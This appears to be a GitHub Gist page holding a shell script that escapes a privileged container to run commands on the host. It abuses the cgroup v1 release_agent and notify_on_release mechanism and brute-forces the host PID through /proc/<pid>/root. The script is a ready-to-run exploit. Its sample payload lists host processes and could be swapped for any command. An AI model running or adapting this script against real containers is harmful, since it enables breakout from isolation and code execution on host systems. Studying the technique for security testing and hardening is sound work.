Created
November 24, 2020 18:57
-
-
Save frezbo/d8f46b03e845a5281a7435b6615c002d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| OUTPUT_DIR="/" | |
| MAX_PID=65535 | |
| CGROUP_NAME="xyx" | |
| CGROUP_MOUNT="/tmp/cgrp" | |
| PAYLOAD_NAME="${CGROUP_NAME}_payload.sh" | |
| PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" | |
| OUTPUT_NAME="${CGROUP_NAME}_payload.out" | |
| OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}" | |
| # Run a process for which we can search for (not needed in reality, but nice to have) | |
| sleep 10000 & | |
| # Prepare the payload script to execute on the host | |
| cat > ${PAYLOAD_PATH} << __EOF__ | |
| #!/bin/sh | |
| OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} | |
| # Commands to run on the host< | |
| ps -eaf > \${OUTPATH} 2>&1 | |
| __EOF__ | |
| # Make the payload script executable | |
| chmod a+x ${PAYLOAD_PATH} | |
| # Set up the cgroup mount using the memory resource cgroup controller | |
| mkdir ${CGROUP_MOUNT} | |
| mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} | |
| mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} | |
| echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release | |
| # Brute force the host pid until the output path is created, or we run out of guesses | |
| TPID=1 | |
| while [ ! -f ${OUTPUT_PATH} ] | |
| do | |
| if [ $((${TPID} % 100)) -eq 0 ] | |
| then | |
| echo "Checking pid ${TPID}" | |
| if [ ${TPID} -gt ${MAX_PID} ] | |
| then | |
| echo "Exiting at ${MAX_PID} :-(" | |
| exit 1 | |
| fi | |
| fi | |
| # Set the release_agent path to the guessed pid | |
| echo "/proc/${TPID}/root${PAYLOAD_PATH}" > /tmp/cgrp/release_agent | |
| # Trigger execution of the release_agent | |
| sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" | |
| TPID=$((${TPID} + 1)) | |
| done | |
| # Wait for and cat the output | |
| sleep 1 | |
| echo "Done! Output:" | |
| cat ${OUTPUT_PATH} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment